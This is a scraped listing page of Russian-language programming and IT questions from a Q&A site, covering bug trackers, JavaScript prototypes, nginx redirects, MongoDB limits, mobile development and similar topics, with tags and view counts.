Найдено результатов: 300

Библиотеки С++ с их значениями

Можете написать несколько библиотек С++ с их функциями?

с++   библиотеки  

470   4   20:06, 21st July, 2020


Xороший софт для управления проектом + багтрекер + контроль версий?

Сразу предупреждаю, что смотрел много чего, и онлайновые сервисы, и оффлайновые приложения, пока остановился на Trac + пара плагинов.


Всем бы неплох, но нет возможности делать многоуровневые задачи (т.е. есть некая общая задача, а внутри нее подзадачи) или тикеты. Слишком плоская схема получается, не для сложных проектов.



Существуют ли варианты портирования приложений с iOS на Android и обратно?

Хотим с друзьями разрабатывать ПО и делать его мультиплатформенным. Знает ли кто способы осуществить такое?

Портирование   ПО   Мобильная   разработка    

415   6   07:16, 15th August, 2020


Книги и материалы по InDesign

Посоветуйте книгу/книги или материалы в вебе по Adobe InDesign (в идеале конечно на русском), желательно с точки зрения прототипирования и рисования макетов сайтов?
Или любую информацию, чтобы перебраться с Photoshop на InDesign при разработке макетов сайтов.

Adobe   Книги   Макеты   и   прототипы   Веб-разработка   Adobe   InDesign    

410   4   20:23, 12th August, 2020


Есть ли хорошие и полные руководства по HTML5 и CSS3 на русском языке?

Если уж мало или нет, но известны намного превосходящие по качеству английские — было бы хорошо и про них узнать. Требование одно: материал должен посвятить человека во все актуальные аспекты HTML5 и CSS3 «с ноля».

CSS   HTML   Документация   Веб-разработка    

368   7   09:33, 3rd August, 2020


Какой софт для тестирования безопасности оптимален по соотношению цена/возможности?

Возможно, вы уже используете какое-то средство для тестирования безопасности веб-приложений и можете порекомендовать его?



Обработка потокового видео

Предположим, надо обработать (выделить объекты, размыть изображение и т.п.) потоковое (24fps, 1280x720) видео. Выходит минимум 22.118.400 интераций в секунду. Каким образом оптимизируют такие процессы? О библиотеках типа OpenCV знаю, интересует самописное решение.

Обработка   видео    

383   1   15:29, 8th August, 2020


В чем преимущества fork в unix системах?

В чем отличия от простого запуска **** > /dev/null &?

Многопоточность   *nix-подобные   системы    

384   4   05:46, 16th August, 2020


Книги по электронике

Здравствуйте! Мне необходимо подойти к интуитивному понятию всего, в диапазоне от физической электроники до микроконтроллеров AVR. Какие книги можете посоветовать? Если несколько, то в каком порядке читать? Очень желательно, чтобы было меньше воды, все кратко и по делу, что-то вроде конспекта лекций.



Синтаксис ООП в js и использование prototype

Чем отличаются данные куски кода и какой в каких случаях будет предпочтительнее?



A


function Obj() {}
Obj.method = function(type) {
    return this.coords[type];
};
var obj = new Obj(),
    current = obj.method(type);




B


function Obj() {}
Obj.prototype.method = function(type) {
    return this.coords[type];
};
var obj = new Obj(),
    current = obj.method(type);




C


var obj = {
    method : function(type) {
        return this.coords[type];
    }
},
    current = obj.method(type);




D


function objMethod(type){
    return this.coords[type];
}
var obj = {
    method : objMethod
},
    current = obj.method(type);



added @ 1732:

E


function Obj() {
    this.method = function(type) {
        return this.coords[type];
    };
}
var obj = new Obj(),
    current = obj.method(type);

JavaScript   Макеты   и   прототипы   ООП    

343   5   16:56, 16th August, 2020


Посоветуйте трехмерный движок для работы с дополненной реальностью

Работаю с дополненной реальностью.
Сейчас используется движок Ogre3D, но экспортеры для него не тянут сложные модели из 3Dmax, эта проблема доставляет немало проблем.
Так же хочется большего реализма и деталей.
Простота программинга приветствуется;)
Интересуют как бесплатные, так и платные движки.

Посоветуйте, пожалуйста, какие-нибудь движки, которые решают вышеперечисленные проблемы полностью или частично.

3D   Дополненная   реальность   Разработка   игр    

353   2   01:29, 16th August, 2020


UI мобильных приложений: Native SDK vs. HTML5

Предположим, перед вами стоит задача написать кросс-платформенное приложение для iPhone, Android и других современных мобильных OS; к примеру, мобильный клиент для вашего веб-сервиса.

Что вы выберете: изучать тонкости native SDK для построения UI для каждой конкретной платформы, или использовать WebKit и HTML5?

Сразу отмечу, что использование HTML5 никоим образом не ограничивает в доступе ко всей функциональности устройства, поскольку WebKit-движок и на iPhone и на Android позволяет взаимодействовать native-коду и javascript. Вопрос касается исключительно разработки пользовательского интерфейса — layout'ов, виджетов, анимаций, разнообразных графических элементов и тому подобного.

iPhone   Android   HTML   Мобильная   разработка   Webkit    

366   2   06:40, 10th August, 2020


Необходима идея для онлайн браузерной игры

Привет.

Необходима идея для создания онлайн браузерной игры экономической направленности, где необходимо строить инфраструктуру города, работать и отдыхать (надо ведь деньги куда-то тратить? :) ) в игре планируется использовать гугло-карты, где собственно и будут отображаться объекты деятельности игроков.

p.s. являюсь разработчиком и хотелось бы заняться just for fun, публикация игры планируется в социальных сетях.

спасибо.

Microsoft   Silverlight   Google   Maps   Разработка   игр    

370   7   22:32, 9th August, 2020


Программируемые роботы\конструкторы?

Захотелось себе приобрести подобную игрушку. Пока что, идеальный вариант — LEGO Mindstorms, но один минус — цена. Достаточно дорого для бедного студента.


Ещё есть Aurdino, цены отличные, большой выбор деталей, опенсорс… но тут 2 минуса:

1) Нужно докупать много деталей что-бы сделать хотя бы машинку

2) Язык, там, если не ошибаюсь c++, а это хоть и мощный язык, но писать что-то серьёзное на нём я буду долго, слишком много там нужно думать о языке.


Собственно вопрос: есть ли ещё какие-то варианты подобных игрушек и что вы можете посоветовать?

Arduino   Робототехника    

316   6   09:10, 29th August, 2020


Сервис автоматического преобразования двоичного кода в текст и обратно?

Итак, для компьютера любой текст имеет двоичную форму. Сегодня натолкнулся на такую картинку: xkcd.ru/99

И мне пришло в голову, что наверняка двоичные коды на картинке составляют фразу I love you.

А ведь здорово, если бы любой произвольный текст можно было бы получить скажем, в двоичном виде, единицами и нулями.


Для латинских символов всё понятно. Их коды в разных кодировках одинаковы вроде. А вот для кириллицы скажем — разные. И, если мне не изменяет память, можно наяндексить, и найти таблицы соответствия двоичных кодов — буквам. Однако преобразовывать необходимый текст в двоичный код, пользуясь только этими таблицами долго, нужно и высокая вероятность опечатки могут убить весь смысл.

А вот на вопрос, можно ли каким либо образом автоматически получить двоичное представление любого текста в любой кодировке (или хотя бы одной какой-нибудь) я ответа не нашёл.

Итак, не могли бы вы подсказать некий сервис или программу, которая может преобразовать любой набор символов в двоичный код и наоборот, двоичный код в текст?

Двоичный   код   Обработка   текста    

822   5   07:58, 8th August, 2020


Motion tracking?

Подскажите, пожалуйста, какие методы лучше использовать для слежения за простым объектом, при быстром изменении его положения и размера?

Обработка   изображений   Захват   видео    

302   3   04:52, 28th August, 2020


Методы парсинга BBCode?

Подскажите, какие еще есть методы парсинга кроме регулярных выражений. Регулярки, как известно, не предназначены для парсинга вложенных конструкций. Если есть реализации — ткните пожалуйста.

BBCode   Парсинг   Веб-разработка    

339   8   23:26, 21st August, 2020


Как работает бизнес по продаже тайм кодов и карт пополнения в играх?

Если кто знает, как именно работает этот бизнес — подскажите пожалуйста.

Монетизация   Разработка   игр    

301   1   10:44, 10th August, 2020


Прочитал, что MongoDB имеет ограничение в 4Мб на документ. Я не ошибся?

Особенно не понятно, если рекомендуется де-нормализовать данные — например, хранить комментарии к комментарию…

comment:{Id:..., Text: ..., comments: []}


Это ведь упрешься в лимит и труба…

MongoDB   Документооборот    

352   7   07:10, 18th August, 2020


Как показать страницу с frameset, даже если пользователь открыл страницу индивидуального frame (составную часть frameset)?

Предположим у меня есть страница состоящая из 3 frame'ов (классика): шапка, боковое меню и контент.

Пользователям поисковики часто выдают ссылку не на страницу с frameset'ом, а на страницу индивидуального frame'а с контентом.

В результате пользователь не видит шапку и меню, ведь они находятся на других страницах. Как заставить браузер всегда открывать основную страницу с frameset, даже если пользователь открыл в браузере индивидуальный frame.

Веб-разработка    

244   3   20:31, 7th August, 2020


Подскажите, пожалуйста, хороший учебник или ресурс по схемотехнике

Все известные мне учебники и курсы начинают схемотехнику с закона Ома и правила Киргхофа, затем вскользь описывают типы интегральных схем, и сразу же переходят к булевой логике. Самое обидное, что редкий курс доходит до конечного результата — спроектированной схемы на базе ИС. А те, которые доходят, умалчивают о таких немаловажных деталях, как дополнительные емкости, индуктивности и сопротивления, появляющиеся между элементами схемы.

Подскажите, пожалуйста, учебник или ресурс, где внятно объяснено, как и для чего размещается каждый конкретный элемент схемы, какие трудности могут возникнуть на этапе проектирования, отладки модели и т.д.

Книги   Железо   Схемотехника    

362   3   22:18, 28th August, 2020


Какую систему контроля за работой и багами выбрать?

Я и мои напарники часто работаем фрилансерами над созданием небольших сайтов. После периода разработки следует период тестирования, а потом сайт переноситься уже на «боевой» сервер. Но даже после полного запуска сайта иногда отыскиваются баги и/или клиент хочет какую-то новую фичу. Хотелось бы организоваться web-интерфейс, где клиент мог бы взглянуть на сколько процентов мы завершили запрашиваемую им фичу и/или мог внести багу в баг-лист нам на исправление. Какая CMS для этого подойдёт?



Шрифты с засечками и без?

В каких случаях при оформлении текста целесообразно использовать шрифт с засечками, в каких без засечек и почему именно так?

Шрифты   Обработка   текста    

422   3   17:01, 5th August, 2020


Как отучить программера не отвлекаться во время работы?

Мой программер в рабочее время постоянно сидит на сайтах знакомств и развлекательных типа фишек. Есть идея конечно фаерволом заблокировать сайты но все не заблокируешь. Получается что из 7 часов рабочего времени он реально работает часа 3-4. Не берётся в учёт что каждые 40 минут перекур.


Вопрос к программерам — все так делают или то только мой не хочет работать? И вообще буду рад за советы по организации. Спасибо

Организация   работы    

376   9   16:11, 6th August, 2020


Плагин Comments от Facebook

добавил этот плагин на сайт по этой инструкции. в итоге на страницах mysite.ua/page.php?load=xxxx и mysite.ua/page.php?load=yyyy одни и теже каменты. что изменить в скрипте или в приложении для понимания динамических страниц?

Facebook   Веб-разработка    

380   2   19:17, 23rd August, 2020


Программируемые роботы\конструкторы?

Захотелось себе приобрести подобную игрушку. Пока что, идеальный вариант — LEGO Mindstorms, но один минус — цена. Достаточно дорого для бедного студента.


Ещё есть Aurdino, цены отличные, большой выбор деталей, опенсорс… но тут 2 минуса:

1) Нужно докупать много деталей что-бы сделать хотя бы машинку

2) Язык, там, если не ошибаюсь c++, а это хоть и мощный язык, но писать что-то серьёзное на нём я буду долго, слишком много там нужно думать о языке.


Собственно вопрос: есть ли ещё какие-то варианты подобных игрушек и что вы можете посоветовать?

Arduino   Робототехника    

274   6   06:12, 11th August, 2020


Сервис автоматического преобразования двоичного кода в текст и обратно?

Итак, для компьютера любой текст имеет двоичную форму. Сегодня натолкнулся на такую картинку: xkcd.ru/99

И мне пришло в голову, что наверняка двоичные коды на картинке составляют фразу I love you.

А ведь здорово, если бы любой произвольный текст можно было бы получить скажем, в двоичном виде, единицами и нулями.


Для латинских символов всё понятно. Их коды в разных кодировках одинаковы вроде. А вот для кириллицы скажем — разные. И, если мне не изменяет память, можно наяндексить, и найти таблицы соответствия двоичных кодов — буквам. Однако преобразовывать необходимый текст в двоичный код, пользуясь только этими таблицами долго, нужно и высокая вероятность опечатки могут убить весь смысл.

А вот на вопрос, можно ли каким либо образом автоматически получить двоичное представление любого текста в любой кодировке (или хотя бы одной какой-нибудь) я ответа не нашёл.

Итак, не могли бы вы подсказать некий сервис или программу, которая может преобразовать любой набор символов в двоичный код и наоборот, двоичный код в текст?

Двоичный   код   Обработка   текста    

403   5   16:36, 13th August, 2020


Motion tracking?

Подскажите, пожалуйста, какие методы лучше использовать для слежения за простым объектом, при быстром изменении его положения и размера?

Обработка   изображений   Захват   видео    

322   3   09:38, 2nd August, 2020


Методы парсинга BBCode?

Подскажите, какие еще есть методы парсинга кроме регулярных выражений. Регулярки, как известно, не предназначены для парсинга вложенных конструкций. Если есть реализации — ткните пожалуйста.

BBCode   Парсинг   Веб-разработка    

411   8   10:58, 9th August, 2020


Как работает бизнес по продаже тайм кодов и карт пополнения в играх?

Если кто знает, как именно работает этот бизнес — подскажите пожалуйста.

Монетизация   Разработка   игр    

576   1   02:41, 4th August, 2020


Прочитал, что MongoDB имеет ограничение в 4Мб на документ. Я не ошибся?

Особенно не понятно, если рекомендуется де-нормализовать данные — например, хранить комментарии к комментарию…

comment:{Id:..., Text: ..., comments: []}


Это ведь упрешься в лимит и труба…

MongoDB   Документооборот    

296   7   07:18, 20th August, 2020


Как показать страницу с frameset, даже если пользователь открыл страницу индивидуального frame (составную часть frameset)?

Предположим у меня есть страница состоящая из 3 frame'ов (классика): шапка, боковое меню и контент.

Пользователям поисковики часто выдают ссылку не на страницу с frameset'ом, а на страницу индивидуального frame'а с контентом.

В результате пользователь не видит шапку и меню, ведь они находятся на других страницах. Как заставить браузер всегда открывать основную страницу с frameset, даже если пользователь открыл в браузере индивидуальный frame.

Веб-разработка    

328   3   10:16, 28th August, 2020


Подскажите, пожалуйста, хороший учебник или ресурс по схемотехнике

Все известные мне учебники и курсы начинают схемотехнику с закона Ома и правила Киргхофа, затем вскользь описывают типы интегральных схем, и сразу же переходят к булевой логике. Самое обидное, что редкий курс доходит до конечного результата — спроектированной схемы на базе ИС. А те, которые доходят, умалчивают о таких немаловажных деталях, как дополнительные емкости, индуктивности и сопротивления, появляющиеся между элементами схемы.

Подскажите, пожалуйста, учебник или ресурс, где внятно объяснено, как и для чего размещается каждый конкретный элемент схемы, какие трудности могут возникнуть на этапе проектирования, отладки модели и т.д.

Книги   Железо   Схемотехника    

368   3   08:34, 16th August, 2020


Какую систему контроля за работой и багами выбрать?

Я и мои напарники часто работаем фрилансерами над созданием небольших сайтов. После периода разработки следует период тестирования, а потом сайт переноситься уже на «боевой» сервер. Но даже после полного запуска сайта иногда отыскиваются баги и/или клиент хочет какую-то новую фичу. Хотелось бы организоваться web-интерфейс, где клиент мог бы взглянуть на сколько процентов мы завершили запрашиваемую им фичу и/или мог внести багу в баг-лист нам на исправление. Какая CMS для этого подойдёт?



Шрифты с засечками и без?

В каких случаях при оформлении текста целесообразно использовать шрифт с засечками, в каких без засечек и почему именно так?

Шрифты   Обработка   текста    

390   3   21:06, 1st October, 2020


Как отучить программера не отвлекаться во время работы?

Мой программер в рабочее время постоянно сидит на сайтах знакомств и развлекательных типа фишек. Есть идея конечно фаерволом заблокировать сайты но все не заблокируешь. Получается что из 7 часов рабочего времени он реально работает часа 3-4. Не берётся в учёт что каждые 40 минут перекур.


Вопрос к программерам — все так делают или то только мой не хочет работать? И вообще буду рад за советы по организации. Спасибо

Организация   работы    

428   9   22:34, 19th August, 2020


Плагин Comments от Facebook

добавил этот плагин на сайт по этой инструкции. в итоге на страницах mysite.ua/page.php?load=xxxx и mysite.ua/page.php?load=yyyy одни и теже каменты. что изменить в скрипте или в приложении для понимания динамических страниц?

Facebook   Веб-разработка    

316   2   23:34, 10th August, 2020


Почему в Мэйле так любят "велосипеды"?

Смотрю с утра форум технологий Мэйла и не могу понять — откуда у всех мэйловских технических сотрудников такая тотальная любовь к изобретению велосипедов? Ни одна из существующих, хорошо отлаженных и широко используемых технологий их не устраивает — везде свои решения (бд, очереди и тд)! Это заразная болезнь?


Собственно говоря вот расписание

Видеотрансляция    

304   5   22:19, 21st August, 2020


Решение для согласования документов в компании?

Подскажите какое-нибудь решение для согласования документов в компании. Нужна возможность гибкого разделения прав, вложений в виде файлов, обсуждений, переназначения ответственных. Плюсом была бы возможность контроля версий документов. Большим плюсом была бы бесплатность.

Документооборот   Организация   работы    

366   5   01:59, 26th August, 2020


Посоветуйте stfp-клиент для Windows Mobile

Имеется телефон с Windows Mobile 6.5 для которого нужен бесплатный stfp-клиент, можно и без графического интерфейса. Результаты поиска на Google и Яндексе захламлены шареварными программами по $19.95 а того, что нужно найти не удается.

Мобильная   разработка   Windows   Mobile    

352   3   19:43, 7th August, 2020


Передача потокового видео и аудио по сети?

Появилась необходимость написания, не смейтесь, аналога скайпа. Т.е. добавить в уже существующий проект (защищенный чат, написанный на c++) возможности общаться в режиме видеосвязи. Подскажите, где и что почитать про передачу видео и аудио информации по сети. Может быть, есть где-то исходники? Буду рад любой информации. Спасибо.

C++   Аудиотрансляция   Видеотрансляция    

298   3   00:44, 27th August, 2020


Это киберсквоттинг?

Сегодня нам на электронную почту пришло вот такое письмо:
image
Что это, киберсквоттинг?

Киберсквоттинг    

369   6   03:36, 13th August, 2020


Проблема при работе с ТвиттерАПИ?

При запросе с помощью twitter-async $twitterObj->get_search(array('q' => '#Kharkov')); ид пользователей(from_user_id) в ответе какойто треш. Например для пользователя leshchinsky пишет from_user_id: 94764048б хотя, на самом деле, по запросу api.twitter.com/1/users/show.json?screen_name=lesh... — id: 111401916. В чем тут может быть проблема?

API   Twitter   Веб-разработка    

359   1   05:34, 17th August, 2020


Посоветуйте сервис прототипирования на замену гомокинга

Прекрасный сервис gomockingbird.com/ — обещает стать платным.
Не кто не встречал аналогов, столь же простых в использовании?

Макеты   и   прототипы    

358   3   19:35, 6th August, 2020


Как правильно писать "плагинное" приложение?

Решил тут сделать веб-приложение такое, чтобы использовались плагины. Я на самом деле совсем не представляю форму ответа на мой вопрос, но возможно вы поделитесь ссылками по тематике «Как правильно писать „плагинное“ приложение?» или даже кто-нибудь напишет статью об этом на Хабр.

Веб-разработка    

364   5   06:35, 26th August, 2020


Как работают программы распознавания музыки?

В частности, для андройда есть shazam. Получалось распознавать даже играющее фоном радио в столовой :)
Очень интересно, как это работает. Ясно, что есть некая база. Но что в этой базе храниться? Как убираются шумы?

Обработка   звука    

328   2   01:57, 1st August, 2020


Комментарии к топикам-ссылкам

Мной было замечено, что зачастую комментарии к топикам-ссылкам оставляются людьми не удосужившимися прочесть статью по предложенной ссылке, зачастую начиная делать в корне не верные предположения по краткому анонсу. Зачастую, в комментах разгораются довольно крупные обсуждения, участники которого даже не представляют, что от ответа их отделяет всего один клик. В то время как, у прочитавших предлагаемую статью, обычно вопросов не остаётся.
Дабы не быть голословным, посмотрите комментарии к недавнему топику-ссылке Гугл переходит на двухшаговую верификацию пользователей.

Как вы думаете, поможет ли отключение возможности комментирования топика-ссылки, до перехода по этой самой ссылке? Или может комментирование топиков-ссылок вообще не нужная возможность?
PS Вопрос немного не форматен для Q&A, но отдельного топика врядли заслуживает. Надеюсь на ваше понимание.

Хабр   Веб-разработка    

398   2   00:34, 12th August, 2020


Разработка под Windows Mobile 6.5-

Существуют ли бесплатные варианты DevTools для разработки под WM 6.5-?

Мобильная   разработка   Windows   Mobile    

390   2   01:30, 18th August, 2020


Система управления IP адресами?

Длительное время использовался текстовый файл со списками IP — адресов. После долгих поисков остановился пока на TIPP. Подскажите, есть ли что-нибуть для ведения IP-плана, что:

1. web-ориентированое (web-server+sql)

2. под unix/linux (да, в принципе, пусть и под винду)

3. бесплатное

3. легко дописываемое

?

Организация   работы    

298   3   14:48, 17th August, 2020


Выбор вспышки: Sigma EF-530 DG Super против Canon Speedlite 580EX II

Здравствуйте. Сейчас озаботился покупкой вспышки для любительской фотосъемки.

Среди кандидатов есть 2:
Sigma EF-530 DG Super
Ведущее число: 53
Зуммирование: да
Поворот по вертикали (вниз/вверх), градусов: 7/90
Поворот по горизонтали (влево/вправо), градусов: 180/90
Работа в качестве ведущей: да
Работа в качестве ведомой: да
Цена: 250$

Canon Speedlite 580EX II
Ведущее число: 58
Зуммирование: да
Диапазон зуммирования: 24-105 (14 мм при широкоуголном рассеивателе)
Поворот по вертикали (вниз/вверх), градусов: 7/90
Поворот по горизонтали (влево/вправо), градусов: 180/180
Работа в качестве ведущей: да
Работа в качестве ведомой: да
Цена: 510$

Характеристики весьма похожие.
Знакомые фотографы рекоммендуют брать Canon, но как-то не особо аргументированно. Вопрос к тем, кто имел опыт «общения» с обеими:
настолько ли Canon круче, чтобы стоить в 2 раза дороже? Стоит ли брать Sigma? Нет ли у нее каких-либо значительных косяков, о которых я впоследстивии могу сильно пожалеть? Умеет ли Sigma работать в паре со вспышками других производителей?

Фотографии    

357   13   01:09, 29th August, 2020


Трансляция звука с компьютера на компьютер

Есть два компьютера с Windows 7, расположенных в пределах одной WiFi сети. Как можно транслировать звук (желательно, весь, включая системные звуки) с одного компьютера на другой с минимальными задержками, не используя дополнительных кабелей?

Аудиотрансляция    

416   7   15:14, 26th August, 2020


Выдержка, диафрагма и ISO в камерах iPhone и смартфонах на Android (API)?

Наверное, для специалистов вопрос покажется банальным,

но беглое гугление ничего полезного не дано, по-этому спрошу тут.



Можно ли программно (и при том легально — без рута) управлять параметрами камеры? В каких пределах? Бывает ли в камерафонах вообще переменная диафрагма?


Прежде всего, нужна длинная выдержка (секунд 10) и, как следствие, низкое ISO и/или закрытая диафрагма.

Мобильная   разработка    

403   2   05:21, 25th August, 2020


Убрать и добавить www

Возможно ли в nginx при запросе к любому обслуживаемому домену второго уровня прибавлять www. вначале, а для домена третьего уровня убирать? Например:
domain.ru -> www.domain.ru
www.some.domain.ru -> some.domain.ru

Хочу обратить внимание, что заранее имя домена неизвестно.
Хотелось бы увидеть пример конфига

Nginx   Обработка   URL    

366   3   07:26, 13th August, 2020


SSD на продакшн-серверах

Есть ли примеры использования SSD-дисков на продакшн-серверах? Нужно обновить парк быстрых SCSI-винчестеров, уже вполне коммерчески выгодно брать твердотельные диски, но пока непонятно, насколько им можно доверять?

Твердотельные   накопители    

336   2   13:11, 23rd August, 2020


AJAX запрос в jQuery. Как избавится от заголовка Access-Control-Request-Headers?

Здравствуйте. Надо при помощи javascript'а вытянуть данные из xml-файла генерирующегося на удалённом сервере. Всё до чего смог додуматься — сделать ajax запрос к xml-файлу.
Но jQuery вместо GET-запроса отправляет OPTIONS-запрос.
Оказалось, что этот запрос отсылается Firefox'ом в случае cross-domain request, когда отправляются нестандартные заголовки. В случае с jQuery это кажется:
Access-Control-Request-Headers: x-requested-with

Как избавиться от этого заголовка? Или может есть другие способы вытянуть информацию из xml?

JavaScript   jQuery   Веб-разработка    

368   3   19:24, 13th August, 2020


Посоветуйте систему управления задачами (внутренними и поступающими из вне) для малого-среднего бизнеса и личного использования

Хотелось бы внедрить систему управления задачами, нужно примерно следующее. Подскажите есть ли уже такое или надо садиться писать велосипед? Желательно на PHP (в целях установки на простой shared хостинг), но можно и на любом другом языке если оно того стоит.

Заранее спасибо.

Вот, что примерно требуется, по пунктам:

Каждая задача (тикет) может:

  • прийти в виде заявки от клиента (мэйл и/или форма на публичном сайте без логина)
  • или быть создана изнутри

принадлежать (соответственно должна быть видна только тем, кому положено)
  • всем зарегистрированным пользователям
  • или рабочей группе
  • или кому-то лично

  • состоять из подзадач
  • и/или быть подзадачей другой задачи

иметь приаттаченые текст/ссылки (WiKi?) и файлы.

иметь или не иметь
  • статус
  • назначенные время начала
  • и конца выполнения,
  • критический дедлайн,
  • ответственных
  • и задействованных лиц.

CMS   Управление   задачами   Организация   работы    

487   9   22:40, 21st August, 2020


Оптимальная система кеширования?

Один из проектов растет и пришло время добавить дополнительный слой кеширования.

Сейчас имеется:

Load balancer -> N front-ends -> memcached -> MySQL


Планируется:

Load balancer -> WEB-cache -> N front-ends -> memcached -> MySQL


В качестве WEB-cache может быть Squid, Varnish, nginx.


Есть ли какие-либо тонкости и подводные камни при такой архитектуре?

Что посоветуете по оптимизации.

Кэширование   Веб-разработка    

366   3   03:36, 9th August, 2020


Инструмент для удобного анализа табличных данных?

Есть:

Источники табличных данных — БД, Excel, таблицы в веб-страницах…

Нужно:

— Получать из этих источнков выборки данных (с фильтрами и периодически через указанные интервалы или по расписанию)

— По этим выборкам строить графики, отчеты и другие таблицы, которые то же могут быть использованы для других выборок.

— Навешивание нотификаций на разные события типа выхода значений какого либо графика за заданный диапазон или резкое изменение данных, например, более чем на 10%…

— Графики должны строиться указанием столбцов, которые должны проецироваться на оси координат.

— Создание даш-бордов для наблюдения за графиками и отчетами в реальном времени.


Есть такое в природе?

Инфографика   Аналитика   Обработка   данных    

319   3   21:06, 1st October, 2020


Литература по тестированию сайтов

Коллеги, можете посоветовать книги по тестированию веб-сайтов?
Ссылки на материалы в сети накидали, спасибо, но хотелось бы в бумаге, а на озоне нашел только тестирование и оптимизация при помощи инструментов гугл. Это, конечно, не совсем то, что надо.

Тестирование   ПО   Веб-разработка    

399   2   17:37, 28th August, 2020


Какой метод разработки Вы считаете правильным?

1) Пишу много кода, потом проверяю все сразу
2) Пишу небольшими кусками, которые сразу же проверяю

На мой взгляд, оба подхода имеют как плюсы, так и минусы:
Подход №1:
+Не тратится лишнее время на проверку правильно написанных участков, Работает и все. Что не работает — исправляем
-Легко забыть, о чем думал в момент написания того, или иного участка. Особенно, если куски очень большие

Подход №2 — соответственно, ровно наоборот:
+Только что писал — если вдруг какая-то ошибка обнаруживается, не сложно будет вычислить
-Тратится много времени на проверку хорошо написанных участков

А что вы думаете по этому поводу?



Движок для управления проектом и багтреккинга?

Подскажите пожалуйста систему для управления небольшим проектом(разработка веб-сервиса) с интегрированным багтреккингом.

Желательно свободную и на платформе php/mysql.



Интерполяция изображения 800x600 -> 2000x2700 + печать?

Будет ли зернистость (прочие дефекты), если печатать в полиграфии 60х90 см?
Заранее спасибо.

P.S. на всякий случай ссылка на изображение — impressonme.com/2010/07/someone-broke-the-swing

Печать   Обработка   изображений    

305   4   06:28, 7th August, 2020


Медиа-клавиши и онлайн плееры?

В интернете полно онлайн аудио-плееров: ПростоПлеер, ЯндексМузыка…

Интересует вопрос, возможно ли реализовать поддержку медиа-клавиш (Play, Pause etc.) для таких плееров, чтобы они работали при неактивной странице плеера?

Веб-разработка    

369   2   21:08, 18th August, 2020


Почему страницы Хабра открываются не полностью и обрываются в неожиданных местах?

Скорость моего интернета (не будем о причинах) 64 кбит/с. Страницы хабра открываются не полностью, обрываются в неожиданных местах. Если вдруг загружается до «Туда-Сюда», радуюсь, как ребенок. Видимо, это такой новый способ защиты от ддосеров (и меня). Получается, что недавняя атака обернулась полной победой недругов хабра, ведь неудобство некоторых представителей сообщества вышло на перманентный уровень. Как мне быть? Как быть хабру? Неужели таймаут — единственно правильное средство?


PS Не имею возможности прошерстить топики и вопросы последних дней, так что извините за повтор, если тема уже поднималась.


UPD Прошелся по Q&A, нашел аналогичный вопрос (habrahabr.ru/qa/816). Совет по использованию Оперы в турбо-режиме показался мне наиболее адекватным из представленных там. Но мне кажется, что меры по обеспечению работоспособности должны принимать «рулевые» хабра, а не посетители. Условие «сайт работает только в Опере с турборежимом» звучит несколько нелепо по отношению к этому IT-ресурсу.

Хабр   Защита   от   DDoS    

407   4   21:06, 1st October, 2020


Сайт консалтинговой компании — каким он должен быть?

Ашманов сделал себе новый дизайн. Сейчас сайт говорит просто: нажми сюда и сделаем тебе хорошо. Мы тоже задумываемся над дизайном нашего консалтингового сайта по внедрению свободного программного обеспечения.

1. Надо ли, чтобы на сайте людям было интересно, чтобы люди могли общаться, или же лучше, чтобы всё было просто и понятно? У IBM внизу незаметненько есть клавиши для социальных сетей. Интересно, как много людей их нажимает?

2. Нужны ли ссылки на контент с первой страницы? Например, правила Ашманова уехали на два неочевидных клика. Похождения Ашманова в Рамблере найти не получилось. Делают ли люди покупки по простым маркетинговым текстам, или им нужны какие-то доказательства, что консультанты что-то соображают?

С другой стороны, по аналогии с блогами, кажется, что ссылки на контент с первой страницы — вполне нормальная вещь, и многие консультанты продают себя с помощью блогов.

3. Консультанты решают сложные задачи. Как выстроить дерево услуг? «Мы придём и поправим Вам всего понемножку» вызывает страх и неуверенность. Как вообще понять, что из консалтинга на данный момент лучше продаётся без того, чтобы устраивать всякие фокус-группы и платить деньги?

4. А логотип у консультантов — каким он должен быть?

5. Раньше у Ашманова на сайте была сложная и забавная флэш-анимация, отвечающая на мышеклики. Надо ли давать клиенту «побаловаться» на первой странице? Или такие ничего не покупают?

6. Тэги для навигации для обычного клиента, наверное, черезчур сложно? Как вообще сделать удобную навигацию по 200-стам статьям на сайте? Или выкинуть их нафиг (см. пункт 2)?

Как вообще колёсики в голове у клиента крутятся, что он принимает решение, что надо попробовать купить здесь? Поделитесь своими мыслями — буду благодарна, если поможете заполнить вакуум в голове по теме.

Электронная   коммерция   Веб-разработка    

417   1   11:56, 8th August, 2020


CMS для фотографа?

Хочется что-нибудь простого для сайта фотографа, где будет немного инфы и примеры фотографий. Ставить какую-то нагруженную цмс типа: joomla, drupal и прочего, а потом просто привязывать туда галерею, я думаю не стоит.


Полазив по сайту я наткнулся на две ссылки, первая из которых понравилась, но судя по постам в теме, она стала платной.

— PixelPost (pixelpost.org)

— Zenphoto (zenphoto.org)


Хотелось бы чего-нибудь простого и не громоздкого, может кто встречал подобную цмс-ку, буду раз за ссылочку на нее.

CMS   Фотографии    

399   12   05:57, 7th August, 2020


Логотип JavaScript

Существует ли официальный логотип Javascript? Где взять достойную иконку для обозначения JS?

JavaScript   Иконки   Логотипы    

410   7   01:14, 14th August, 2020


Платформу для веб-разработки?

Посоветуйте платформу для переноса учетной системы написанной на Delphi + Firebird на web-интерфейс.


Система специфическая и написана с нуля. Проблема усугубляется тем, что необходима работа со считывателями магнитной полосы и прочие хитрости.


Спасибо.

Веб-разработка    

249   6   16:10, 17th August, 2020


Куда идти после php? Ruby или Python?

Собственно вопрос в заголовке :) Хочется услышать принципиальные различия между языками. Для каких задач что лучше подходит?

Ruby   PHP   Python   Веб-разработка    

536   27   18:52, 15th August, 2020


Создание управляемого робота?

Всем привет!

Где-то тут на сайте проскакивала новость про робота в офисе Esquire, которым можно управлять через Интернет. Подскажите, насколько это сложно и с чего начать ботать эту тему? И чем продолжить? Насколько затратно?

Робототехника    

298   4   02:37, 4th August, 2020


Какой логотип лучше?

Друзья,

Мы подготовили пять логотипов для нашей компании, занимающейся свободным ПО. Выбрать, конечно, не можем — каждый кулик своё болото хвалит. Помогите пожалуйста, проголосуйте и наши логотипы, чтобы мы смогли определиться.

А те логотипы, что получше, пожалуйста, покритикуйте и подскажите, как сделать ещё лучше. Картинки кликабельны. Заранее благодарны.

Логотип консалтинговой компании Датавед Логотип консалтинговой компании Датавед Логотип Датаведа Логотип консалтинговой компании Логотип консалтинговой компании

Upd. Придумка Demlock:



